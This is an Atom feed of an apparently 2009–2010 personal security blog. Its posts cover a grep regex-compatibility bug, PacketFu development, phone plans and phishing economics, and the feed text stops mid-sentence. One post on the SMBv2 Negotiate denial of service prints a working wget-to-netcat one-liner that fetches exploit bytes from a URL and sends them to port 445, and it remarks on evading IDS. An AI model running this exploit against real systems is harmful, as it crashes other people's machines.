<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss'><id>tag:blogger.com,1999:blog-20075889</id><updated>2010-02-05T14:17:16.438-06:00</updated><title type='text'>Plan B: Security, Technology, and the Law</title><subtitle type='html'>"It's okay to yell fire in a crowded theater -- if the theater is actually on fire."</subtitle><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default?start-index=26&amp;max-results=25'/><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.planb-security.net/atom.xml'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>104</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-20075889.post-4871212280181960305</id><published>2010-02-05T14:16:00.002-06:00</published><updated>2010-02-05T14:17:16.445-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Hey, I'm on Metasploit, now</title><content type='html'>Just published my first &lt;a href="http://blog.metasploit.com/2010/02/postgres-fingerprinting.html"&gt;Metasploit Blog Post&lt;/a&gt;. Whee, unauthenticated fingerprinting is my favorite and my best.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-4871212280181960305?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/4871212280181960305/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=4871212280181960305' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/4871212280181960305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/4871212280181960305'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2010/02/hey-im-on-metasploit-now.html' title='Hey, I&apos;m on Metasploit, now'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-2171642989855438039</id><published>2009-12-28T13:31:00.005-06:00</published><updated>2009-12-28T13:58:27.671-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='regexp'/><category scheme='http://www.blogger.com/atom/ns#' term='grep'/><category scheme='http://www.blogger.com/atom/ns#' term='regex'/><category scheme='http://www.blogger.com/atom/ns#' term='regular expressions'/><category scheme='http://www.blogger.com/atom/ns#' term='egrep'/><title type='text'>Grep 2.5.4 breaks regular expressions syntax</title><content type='html'>Backwards compatibility is for chumps, apparently. GNU Grep version 2.5.4 fundamentally changes regular expression syntax from the 2.5.3 and prior behavior. The below demonstrates the backwards breakage between 2.5.3 (on box1) and 2.5.4 (on box2).&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;todb@box1:~$ grep --version&lt;br /&gt;GNU grep 2.5.3&lt;br /&gt;&lt;br /&gt;Copyright (C) 1988, 1992-2002, 2004, 2005  Free Software Foundation, Inc.&lt;br /&gt;This is free software; see the source for copying conditions.  There is NO&lt;br /&gt;warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.&lt;br /&gt;&lt;br /&gt;todb@box1:~$ for i in cat parrot dog monkey&lt;br /&gt;&gt; do echo $i | egrep -v '^(cat|dog)'&lt;br /&gt;&gt; done&lt;br /&gt;parrot&lt;br /&gt;monkey&lt;br /&gt;todb@box1:~$ &lt;br /&gt;&lt;br /&gt;### Meanwhile, on a system with grep 2.5.4 ###&lt;br /&gt;&lt;br /&gt;todb@box2:~$ grep --version&lt;br /&gt;GNU grep 2.5.4&lt;br /&gt;&lt;br /&gt;Copyright (C) 2009 Free Software Foundation, Inc.&lt;br /&gt;License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;&lt;br /&gt;This is free software: you are free to change and redistribute it.&lt;br /&gt;There is NO WARRANTY, to the extent permitted by law.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;todb@box2:~$ for i in cat parrot dog monkey&lt;br /&gt;&gt; do echo $i | egrep -v '^(cat|dog)'&lt;br /&gt;&gt; done&lt;br /&gt;cat&lt;br /&gt;parrot&lt;br /&gt;dog&lt;br /&gt;monkey&lt;br /&gt;root@box2:~$&lt;/pre&gt;&lt;br /&gt;The second fails because the special regex characters of parenthesis and pipe loose their special grouping and alteration meanings in 2.5.4. Thus, this works for 2.5.4:&lt;br /&gt;&lt;pre&gt;todb@box2:~$ for i in cat parrot dog monkey&lt;br /&gt;&gt; do echo $i | egrep -v '^\(cat\|dog\)'&lt;br /&gt;&gt; done&lt;br /&gt;parrot&lt;br /&gt;monkey&lt;/pre&gt;&lt;br /&gt;But the same does not work for 2.5.3:&lt;br /&gt;&lt;pre&gt;todb@box1:~$ for i in cat parrot dog monkey&lt;br /&gt;&gt; do echo $i | egrep -v '^\(cat\|dog\)'&lt;br /&gt;&gt; done&lt;br /&gt;cat&lt;br /&gt;parrot&lt;br /&gt;dog&lt;br /&gt;monkey&lt;br /&gt;todb@box1:~$&lt;/pre&gt;&lt;br /&gt;What this all boils down to is that scripts that rely on egrep are going to break pretty horribly and somewhat mysteriously when the underlying grep package gets updated; even better, there's no common method between the two versions to ensure that you get what you expect with a regular expression that involves grouping or alteration.&lt;br /&gt;&lt;br /&gt;Naughty, naughty, grep maintainers. Off to submit a &lt;a href="http://savannah.nongnu.org/bugs/index.php?28429"&gt;bug report&lt;/a&gt; now, but since grep 2.5.4 was released way back in &lt;a href="http://savannah.gnu.org/forum/forum.php?forum_id=5658"&gt;February, 2009&lt;/a&gt;, I suspect the damage is going to be somewhat unavoidable.&lt;br /&gt;&lt;br /&gt;If you know of a way to create a regex that will work in both contexts, I'd love to hear it. Single versus double quotes don't work, so for my purposes, I have to wrap my grep functions up in a version check of grep itself. (&lt;span style="font-family:monospace;"&gt;grep --version | sed s/[^0-9]*// | head -1&lt;/span&gt; for the curious)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-2171642989855438039?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/2171642989855438039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=2171642989855438039' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2171642989855438039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/2171642989855438039'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/12/grep-254-breaks-regular-expressions.html' title='Grep 2.5.4 breaks regular expressions syntax'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-6055268393798954310</id><published>2009-09-11T16:00:00.008-05:00</published><updated>2009-09-16T14:33:19.899-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='smbv2'/><category scheme='http://www.blogger.com/atom/ns#' term='sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='sploits'/><category scheme='http://www.blogger.com/atom/ns#' term='languages'/><category scheme='http://www.blogger.com/atom/ns#' term='securityfocus'/><title type='text'>The most implemented exploit ever: SMBv2 Negotiate DoS</title><content type='html'>Swinging by SecurityFocus' &lt;a href="http://www.securityfocus.com/bid/36299/exploit"&gt;exploit list&lt;/a&gt; for the recent SMBv2 denial of service, I was immediately struck by the apparent silliness of listing five seperate but nearly identical implementations of the same bug. So struck, I daresay, that I could not resist writing my own &lt;a href="http://www.planb-security.net/sploits/teardrop_tng.rb"&gt;stand-alone Ruby version&lt;/a&gt;, joking that maybe SecurityFocus will pick it up and make me famous.&lt;br /&gt;&lt;br /&gt;Well, they did, and I did lol.&lt;br /&gt;&lt;br /&gt;They also picked up I)ruid's much more interesting &lt;a href="http://druid.caughq.org/files/smb2.sh"&gt;bash shell&lt;/a&gt; version. I thought that opening a socket straight on the command line was strictly the purview of &lt;a href="http://www.planb-security.net/2008/11/plan-9-from-plan-b.html"&gt;Plan 9&lt;/a&gt;, but he proved me wrong.&lt;br /&gt;&lt;br /&gt;The most "meta" version, so far, is Brent's wget-to-netcat implementation; I couldn't get it to function exactly as his &lt;a href="http://twitter.com/busterbcook/status/3899052388"&gt;tweet&lt;/a&gt; was written, but here's a version that Works For Me:&lt;br /&gt;&lt;pre style="background-color:#001100;word-wrap:break-word;white-space:-moz-pre-wrap;"&gt;for i in `wget http://ur1.ca/bhe8 -q -O-|egrep 'oit.*".*"'|sed 's/s.*[&lt;|=]//g'|sed 's/#.*//g'|sed 's/ "\(.*\)"/\1/'`;do echo -e -n $i;done|nc -w 1 127.0.0.1 445 &gt; /dev/null&lt;/pre&gt; This has the added bonus of including some mild fragmentation, making IDS detection a little more squirrelly.&lt;br /&gt;&lt;br /&gt;At any rate, I think this is all quite hilarious, and now I'm hopeful that the SMBv2 bug will be the widest-implemented DoS ever.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; |)ruid has published a version in &lt;a href="http://druid.caughq.org/files/smb2.exp"&gt;Expect&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; I've published a version in &lt;a href="http://www.planb-security.net/sploits/teardrop_tng.txt"&gt;Perl&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update:&lt;/span&gt; Someone published a version in &lt;a href="http://www.securityfocus.com/data/vulnerabilities/exploits/36299.jar"&gt;Java&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-6055268393798954310?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/6055268393798954310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=6055268393798954310' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/6055268393798954310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/6055268393798954310'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/09/most-implemented-exploit-ever-smbv2.html' title='The most implemented exploit ever: SMBv2 Negotiate DoS'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-9097282998159796866</id><published>2009-09-10T15:35:00.002-05:00</published><updated>2009-09-10T15:37:35.885-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='capped data plans'/><category scheme='http://www.blogger.com/atom/ns#' term='laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='consumer electronics'/><title type='text'>AT&amp;T Netbooks, only $1159</title><content type='html'>I saw an ad on TV about AT&amp;T practically giving away Acer netbooks. Here's the &lt;a href="http://www.wireless.att.com/cell-phone-service/cell-phone-details/?q_sku=sku3870224"&gt;link of note&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So, it's $199 for a netbook, as long as you sign a two-year contract for a DataConnect plan... and that's &lt;a href="http://www.wireless.att.com/cell-phone-service/cell-phone-plans/data-connect-plans.jsp"&gt;where they get you&lt;/a&gt;, as they say. $40/month, plus $199, makes this a $1159 computing device over two years. Oh, and the $40/month plan is capped at 200 mb/month. Uhhhhh yeah.&lt;br /&gt;&lt;br /&gt;This seems to suck significantly more than I expected.&lt;br /&gt;&lt;br /&gt;Back to Plan A, being an Android phone on T-Mobile and a tethered POS laptop. Now to figure out if their data plans are unlimited. (I've been having creeping problems with my BlackBerry 8310, which is why I'm looking at this now.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-9097282998159796866?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/9097282998159796866/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=9097282998159796866' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/9097282998159796866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/9097282998159796866'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/09/at-netbooks-only-1159.html' title='AT&amp;T Netbooks, only $1159'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-5143409348502797133</id><published>2009-08-21T12:07:00.003-05:00</published><updated>2009-08-21T12:14:57.534-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby _why'/><title type='text'>Why's (Poignant) Guide to Ruby</title><content type='html'>Since it appears that &lt;a href="http://en.wikipedia.org/wiki/Why_the_lucky_stiff"&gt;Why the Lucky Stiff&lt;/a&gt; has rm'ed himself from the Internet (for the time being?), I want to make sure that &lt;u&gt;Why's (Poignant) Guide to Ruby&lt;/u&gt; is available for general use -- namely, for my kids, when they're literate enough to learn how to program.&lt;br /&gt;&lt;br /&gt;I had the opportunity to meet and work a little with _why in the spring of 2009. Given my very limited exposure to him, both online and in person, I'm not surprised in the least that this happened.&lt;br /&gt;&lt;br /&gt;So, here it is, in PDF form -- it's been lurking on my various desktops for a while now, and I give it to anyone who says something like, "Gee, so what's this Ruby all about, anyway?"&lt;br /&gt;&lt;br /&gt;I'm sure there are mirrors elsewhere as well, but this one is the only one I can count on.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.planb-security.net/whys-poignant-guide-to-ruby.pdf"&gt;Why's (Poignant) Guide to Ruby&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-5143409348502797133?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/5143409348502797133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=5143409348502797133' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5143409348502797133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5143409348502797133'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/08/whys-poignant-guide-to-ruby.html' title='Why&apos;s (Poignant) Guide to Ruby'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-7609720075845234468</id><published>2009-06-30T14:50:00.003-05:00</published><updated>2009-06-30T15:02:14.363-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blogger'/><category scheme='http://www.blogger.com/atom/ns#' term='whining'/><category scheme='http://www.blogger.com/atom/ns#' term='sftp'/><title type='text'>Okay, Blogger, are we cool now?</title><content type='html'>Yes, I really do have SFTP, and I would like to use that rather than plaintext FTP, if that's okay with you, Blogger.com. It is? Great!&lt;br /&gt;&lt;br /&gt;I've fixed my RSS feed, again. Looks like Blogger and I were having some disagreements about relative path roots between SFTP and FTP entry points, and Blogger's error logging is supremely unhelpful in this regard.&lt;br /&gt;&lt;br /&gt;Ah well, lesson learned.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-7609720075845234468?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/7609720075845234468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=7609720075845234468' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/7609720075845234468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/7609720075845234468'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/06/okay-blogger-are-we-cool-now.html' title='Okay, Blogger, are we cool now?'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-5937384115102584986</id><published>2009-06-13T10:54:00.003-05:00</published><updated>2009-06-13T11:03:10.560-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bindata'/><category scheme='http://www.blogger.com/atom/ns#' term='packetfu'/><title type='text'>PacketFu version 0.2.0</title><content type='html'>&lt;a href="http://code.google.com/p/packetfu/"&gt;PacketFu v0.2.0&lt;/a&gt; was released today. There's really not a lot to this update, other than the direct inclusion of PcapRub and some more detailed installation instructions -- this week, a couple people wrote me to let me know that the installation instructions were, uh, less than forthcoming.&lt;br /&gt;&lt;br /&gt;kballero wrote &lt;a href="http://ubuntuforums.org/showthread.php?p=7447418#post7447418"&gt;this Ubuntu forum post&lt;/a&gt; that goes into considerable detail on installing all the discrete components and some details on how to make wlan0 the default interface (as opposed to eth0). Many thanks for that!&lt;br /&gt;&lt;br /&gt;At any rate, with this new version, I was able to install and run packetfu-shell.rb cleanly on a fresh LiveCD version of Back Track 3, so it should work for pretty much any Linux platform with a reasonbly recent libpcap version (If you get it running on WinXP and OS X, please let me know if you had to do anything special).&lt;br /&gt;&lt;br /&gt;Still haven't worked out my performance problems; I suspect I'm going to have to ditch BinData entirely if I can't figure out how to fix it up to be a little more efficient with its recursion.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-5937384115102584986?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/5937384115102584986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=5937384115102584986' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5937384115102584986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5937384115102584986'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/06/packetfu-version-020.html' title='PacketFu version 0.2.0'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-3864783836733690777</id><published>2009-04-10T09:28:00.004-05:00</published><updated>2009-04-10T09:43:45.748-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='breakingpoint'/><title type='text'>Few updates here, sorry</title><content type='html'>You may have noticed that I haven't updated the Plan B blog since February. This is largely because I've been spending most of my blogging cycles on my employer's blog, &lt;a href="http://www.breakingpointsystems.com/community/blog/authors/tbeardsley"&gt;BreakingPoint Labs&lt;/a&gt;. I suppose I should blogspam myself and just repost here, but I'd hate to divert the traffic. At any rate, that link goes to just my posts -- click around &lt;a href="http://www.breakingpointsystems.com/community/blog"&gt;the rest of the blog&lt;/a&gt; for other people's.&lt;br /&gt;&lt;br /&gt;My last post there was about AIM, specifically about AIM file transfers. It's a ripping yarn, to be sure. Here's a &lt;a href="http://pastie.org/442813"&gt;prettier version&lt;/a&gt; of the Ruby code to calculate file checksums.&lt;br /&gt;&lt;br /&gt;So, whee.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-3864783836733690777?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/3864783836733690777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=3864783836733690777' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3864783836733690777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/3864783836733690777'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/04/few-updates-here-sorry.html' title='Few updates here, sorry'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-6033959638239586708</id><published>2009-02-23T10:21:00.007-06:00</published><updated>2009-02-23T14:00:09.726-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='bugs'/><category scheme='http://www.blogger.com/atom/ns#' term='packetfu'/><title type='text'>Working on PacketFu Performance</title><content type='html'>Here's a baseline of how &lt;a href="http://code.google.com/p/packetfu"&gt;PacketFu&lt;/a&gt; version 0.1.1 handles a set of 5000 packets. This benchmark test takes in a pcap file, then chucks all the processed packets into a Ruby array. The performance is horrid compared to Wireshark, but ignore that for a moment:&lt;pre&gt;(these packets are all normal TCP packets)&lt;br /&gt;(  1000) [17:26:48] {      20s}&lt;br /&gt;(  2000) [17:27:13] {      25s}&lt;br /&gt;(  3000) [17:27:43] {      30s}&lt;br /&gt;(  4000) [17:28:19] {      36s}&lt;br /&gt;(  5000) [17:29:01] {      42s}&lt;br /&gt;2m33s elapsed, parsed 5001 packets.&lt;/pre&gt;Eek. So, the more packets I pull in, the slower PacketFu gets. This is pretty disastrous, if you're using PacketFu in offline mode.&lt;br /&gt;&lt;br /&gt;So, after poking at &lt;a href="http://www.planb-security.net/packetfu/doc/classes/PacketFu/Packet.html"&gt;PacketFu::Packet.parse()&lt;/a&gt; for a bit,  I figured out this morning that if I make a good guess at the packet type before testing it for complete correctness, I get a fairly huge bonus in parsing speed. Here's a run with all normal TCP packets:&lt;pre&gt;(  1000) [11:21:48] {      15s}&lt;br /&gt;(  2000) [11:22:03] {      15s}&lt;br /&gt;(  3000) [11:22:17] {      14s}&lt;br /&gt;(  4000) [11:22:32] {      15s}&lt;br /&gt;(  5000) [11:22:47] {      15s}&lt;br /&gt;1m14s elapsed, parsed 5001 packets.&lt;/pre&gt;Testing the new and improved version with a mixed bag of packets, which contains ARP, TCP, ICMP, and UDP (and a few IPv6) packets:&lt;pre&gt;(  1000) [12:21:15] {      11s}&lt;br /&gt;(  2000) [12:21:30] {      15s}&lt;br /&gt;(  3000) [12:21:48] {      18s}&lt;br /&gt;(  4000) [12:22:10] {      22s}&lt;br /&gt;(  5000) [12:22:36] {      26s}&lt;br /&gt;1m32s elapsed, parsed 5001 packets.&lt;/pre&gt;Unfortunately, my creeping performance problem persists -- at least when I have a whole bunch of dissimilar packet types. But at least it's less pronounced now, and eliminated entirely when dealing with sets of TCP packets (which is going to be the most common use case, I figure).&lt;hr&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; That was completely wrong. The only reason for the performance boost was that PacketFu::Packet.parse() was forgetting to read in the data. The below is even more true -- this is where the problem lies. Darnit! (please make sure to never use PacketFu r66, it's broken!)&lt;hr&gt;&lt;br /&gt;&lt;a href="http://twitter.com/tmanning"&gt;tmanning&lt;/a&gt; has been looking at PacketFu lately as well, and believes that there are some (&lt;a href="http://www.breakingpointsystems.com/community/blog/stackscrambler-and-the-tale-of-a-packet-parsing-bug"&gt;more&lt;/a&gt;) bugs in PacketFu::Packet.read(), mostly revolving around my atrocious design of how read() and parse() interrelate. I suspect this is the source of most of my performance problems as well, so keep an eye out for the next tagged version of PacketFu for some love in that part of the code. Oh, and I'll be fixing up the PacketFu::File.append() function to be a lot more sane, too.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-6033959638239586708?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/6033959638239586708/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=6033959638239586708' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/6033959638239586708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/6033959638239586708'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/02/working-on-packetfu-performance.html' title='Working on PacketFu Performance'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-5874257324267694652</id><published>2009-01-26T09:53:00.004-06:00</published><updated>2009-01-26T09:55:08.971-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='atom'/><category scheme='http://www.blogger.com/atom/ns#' term='planb'/><category scheme='http://www.blogger.com/atom/ns#' term='fail'/><title type='text'>Fixed my atom feed</title><content type='html'>I moved my domain's guts around over the summer, and forgot to point blogger.com at my new &lt;a href="http://www.planb-security.net/atom.xml"&gt;atom&lt;/a&gt; feed. Welp, I just updated that now, so if you've been waiting for content, here's about six months' worth.&lt;br /&gt;&lt;br /&gt;Honestly, I didn't even know anyone was looking at that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20075889-5874257324267694652?l=www.planb-security.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/5874257324267694652/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=20075889&amp;postID=5874257324267694652' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5874257324267694652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20075889/posts/default/5874257324267694652'/><link rel='alternate' type='text/html' href='http://www.planb-security.net/2009/01/fixed-my-atom-feed.html' title='Fixed my atom feed'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='12384835220122498606'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20075889.post-4167723793366236864</id><published>2009-01-09T08:37:00.004-06:00</published><updated>2009-01-09T08:50:39.517-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><title type='text'>Insulating Skilled Phishers</title><content type='html'>Read a story this morning about the supposed shrinking (and presumably non-renewable?) resource of phishable dollars this morning, aka, the &lt;a href="http://blogs.zdnet.com/security/?p=2366"&gt;Tragedy of the Phishing Commons&lt;/a&gt;. Just a thought I had while reading it. Phishing is stupendously easy, so the field will attract lots of stupid entry-level phishers. While this is a detriment to the professionals (someone phished by a dumb phisher may be less likely to be phished later by a smart one), it seems this field of less-skilled phishers are more likely to get caught, which itself gives two benefits to the smart criminals.&lt;br /&gt;&lt;br /&gt;First, law enforcement has finite resources and are almost always driven by bust statistics, so if they hit their quota of easy targets, the hard targets will remain in the field longer.&lt;br /&gt;&lt;br /&gt;Second, while the professional phishers stay in the game longer, they will get better at it. At the same time, the law enforcement types, through their success at busting dumb phishers, will get better at busting the same 